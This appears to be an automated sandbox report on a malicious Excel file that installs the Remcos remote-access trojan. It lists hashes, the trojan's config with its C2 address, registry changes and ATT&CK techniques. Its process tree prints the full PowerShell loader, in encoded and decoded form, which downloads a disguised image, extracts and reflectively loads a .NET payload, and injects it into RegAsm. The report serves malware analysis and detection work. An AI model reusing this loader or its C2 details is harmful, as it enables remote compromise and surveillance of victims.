remcos | e10773ee1226f0dc4b6b9d8a1e41bbf1375d9df12333b316a9dcff3f26107497

Analysis

max time kernel
150s
max time network
149s
platform
windows7_x64
resource
win7-20240215-en
resource tags

arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
submitted
06-06-2024 14:55

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

1561073.xls
Size

280KB
MD5

f9e7fc5d4ec23e40355b3dc5cc56bfc8
SHA1

bea7dd0814fc2698f0a223257f54b5e85e013337
SHA256

e10773ee1226f0dc4b6b9d8a1e41bbf1375d9df12333b316a9dcff3f26107497
SHA512

2b073e1ea57893c56553b13c1ebc86efc76735f298260e1b6ef4cd170750abfef1031daa65b5cae2412fab31984dcb559c42c68780773b27bd5dd8d6a9ca2282
SSDEEP

6144:UqFzL5LIT47Hi8kEBF5OkUwueWdEMIW4LCCNU:UqFzu4Li8kEBjbXWQW7U

Score

10^/10

remcos remotehost execution rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

107.172.31.6:1070

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-5YSTYW
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 7 IoCs

flow	pid	Process
16	820	EQNEDT32.EXE
19	2556	WScript.exe
21	2556	WScript.exe
23	1376	powershell.exe
25	1376	powershell.exe
27	1376	powershell.exe
28	1376	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1820	powershell.exe
1376	powershell.exe

Abuses OpenXML format to download file from external location

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1376 set thread context of 2124	1376	powershell.exe	38

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Launches Equation Editor 1 TTPs 1 IoCs

Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

exploit

Exploitation for Client Execution

T1203

pid	Process
820	EQNEDT32.EXE

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE

Modifies registry class 64 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\htmlfile	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohevi.dll"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\ = "&Print"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\ShellEx	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\ShellEx	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\mhtmlfile	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2404	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1820	powershell.exe
1376	powershell.exe
1376	powershell.exe
1376	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1820	powershell.exe
Token: SeDebugPrivilege	1376	powershell.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
2404	EXCEL.EXE
2404	EXCEL.EXE
2404	EXCEL.EXE
2660	WINWORD.EXE
2660	WINWORD.EXE
2124	RegAsm.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 820 wrote to memory of 2556	820	EQNEDT32.EXE	31
PID 820 wrote to memory of 2556	820	EQNEDT32.EXE	31
PID 820 wrote to memory of 2556	820	EQNEDT32.EXE	31
PID 820 wrote to memory of 2556	820	EQNEDT32.EXE	31
PID 2660 wrote to memory of 1516	2660	WINWORD.EXE	32
PID 2660 wrote to memory of 1516	2660	WINWORD.EXE	32
PID 2660 wrote to memory of 1516	2660	WINWORD.EXE	32
PID 2660 wrote to memory of 1516	2660	WINWORD.EXE	32
PID 2556 wrote to memory of 1820	2556	WScript.exe	34
PID 2556 wrote to memory of 1820	2556	WScript.exe	34
PID 2556 wrote to memory of 1820	2556	WScript.exe	34
PID 2556 wrote to memory of 1820	2556	WScript.exe	34
PID 1820 wrote to memory of 1376	1820	powershell.exe	36
PID 1820 wrote to memory of 1376	1820	powershell.exe	36
PID 1820 wrote to memory of 1376	1820	powershell.exe	36
PID 1820 wrote to memory of 1376	1820	powershell.exe	36
PID 1376 wrote to memory of 1040	1376	powershell.exe	37
PID 1376 wrote to memory of 1040	1376	powershell.exe	37
PID 1376 wrote to memory of 1040	1376	powershell.exe	37
PID 1376 wrote to memory of 1040	1376	powershell.exe	37
PID 1376 wrote to memory of 1040	1376	powershell.exe	37
PID 1376 wrote to memory of 1040	1376	powershell.exe	37
PID 1376 wrote to memory of 1040	1376	powershell.exe	37
PID 1376 wrote to memory of 2124	1376	powershell.exe	38
PID 1376 wrote to memory of 2124	1376	powershell.exe	38
PID 1376 wrote to memory of 2124	1376	powershell.exe	38
PID 1376 wrote to memory of 2124	1376	powershell.exe	38
PID 1376 wrote to memory of 2124	1376	powershell.exe	38
PID 1376 wrote to memory of 2124	1376	powershell.exe	38
PID 1376 wrote to memory of 2124	1376	powershell.exe	38
PID 1376 wrote to memory of 2124	1376	powershell.exe	38
PID 1376 wrote to memory of 2124	1376	powershell.exe	38
PID 1376 wrote to memory of 2124	1376	powershell.exe	38
PID 1376 wrote to memory of 2124	1376	powershell.exe	38
PID 1376 wrote to memory of 2124	1376	powershell.exe	38
PID 1376 wrote to memory of 2124	1376	powershell.exe	38
PID 1376 wrote to memory of 2124	1376	powershell.exe	38
PID 1376 wrote to memory of 2124	1376	powershell.exe	38
PID 1376 wrote to memory of 2124	1376	powershell.exe	38

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\1561073.xls
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2404

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2660
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:1516

C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
1⤵
- Blocklisted process makes network request
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:820
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\pointingthejunglelionontheimages.js"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of WriteProcessMemory
  PID:2556
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'ZnVuY3Rpb24gRG93bmxvYWREYXRhRnJvbUxpbmtzIHsgcGFyYW0gKFtzdHJpbmdbXV0kbGlua3MpICR3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyAkZG93bmxvYWRlZERhdGEgPSBAKCk7ICRzaHVmZmxlZExpbmtzID0gJGxpbmtzIHwgR2V0LVJhbmRvbSAtQ291bnQgJGxpbmtzLkxlbmd0aDsgZm9yZWFjaCAoJGxpbmsgaW4gJHNodWZmbGVkTGlua3MpIHsgdHJ5IHsgJGRvd25sb2FkZWREYXRhICs9ICR3ZWJDbGllbnQuRG93bmxvYWREYXRhKCRsaW5rKSB9IGNhdGNoIHsgY29udGludWUgfSB9OyByZXR1cm4gJGRvd25sb2FkZWREYXRhIH07ICRsaW5rcyA9IEAoJ2h0dHBzOi8vdXBsb2FkZGVpbWFnZW5zLmNvbS5ici9pbWFnZXMvMDA0Lzc3My84MTIvb3JpZ2luYWwvanMuanBnPzE3MTM4ODI3NzgnLCAnaHR0cHM6Ly91cGxvYWRkZWltYWdlbnMuY29tLmJyL2ltYWdlcy8wMDQvNzczLzgxMi9vcmlnaW5hbC9qcy5qcGc/MTcxMzg4Mjc3OCcpOyAkaW1hZ2VCeXRlcyA9IERvd25sb2FkRGF0YUZyb21MaW5rcyAkbGlua3M7IGlmICgkaW1hZ2VCeXRlcyAtbmUgJG51bGwpIHsgJGltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCRpbWFnZUJ5dGVzKTsgJHN0YXJ0RmxhZyA9ICc8PEJBU0U2NF9TVEFSVD4+JzsgJGVuZEZsYWcgPSAnPDxCQVNFNjRfRU5EPj4nOyAkc3RhcnRJbmRleCA9ICRpbWFnZVRleHQuSW5kZXhPZigkc3RhcnRGbGFnKTsgJGVuZEluZGV4ID0gJGltYWdlVGV4dC5JbmRleE9mKCRlbmRGbGFnKTsgaWYgKCRzdGFydEluZGV4IC1nZSAwIC1hbmQgJGVuZEluZGV4IC1ndCAkc3RhcnRJbmRleCkgeyAkc3RhcnRJbmRleCArPSAkc3RhcnRGbGFnLkxlbmd0aDsgJGJhc2U2NExlbmd0aCA9ICRlbmRJbmRleCAtICRzdGFydEluZGV4OyAkYmFzZTY0Q29tbWFuZCA9ICRpbWFnZVRleHQuU3Vic3RyaW5nKCRzdGFydEluZGV4LCAkYmFzZTY0TGVuZ3RoKTsgJGNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGJhc2U2NENvbW1hbmQpOyAkbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRjb21tYW5kQnl0ZXMpOyAkdHlwZSA9ICRsb2FkZWRBc3NlbWJseS5HZXRUeXBlKCdQUk9KRVRPQVVUT01BQ0FPLlZCLkhvbWUnKTsgJG1ldGhvZCA9ICR0eXBlLkdldE1ldGhvZCgnVkFJJykuSW52b2tlKCRudWxsLCBbb2JqZWN0W11dICgndHh0LkdCVi8wNjA2Lzg0MS45MS4yODEuMzAxLy86cHR0aCcgLCAnZGVzYXRpdmFkbycgLCAnZGVzYXRpdmFkbycgLCAnZGVzYXRpdmFkbycsJ1JlZ0FzbScsJ2Rlc2F0aXZhZG8nKSl9fQ==';$OWjuxd = (New-Object System.Text.UTF8Encoding).GetString([System.Convert]::FromBase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1820
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/773/812/original/js.jpg?1713882778', 'https://uploaddeimagens.com.br/images/004/773/812/original/js.jpg?1713882778'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.GBV/0606/841.91.281.301//:ptth' , 'desativado' , 'desativado' , 'desativado','RegAsm','desativado'))}}"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Drops file in System32 directory
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1376
    - - C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        
        PID:1040
    - - C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        Suspicious use of SetWindowsHookEx
        
        PID:2124

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Exploitation for Client Execution

T1203

Persistence

Privilege Escalation

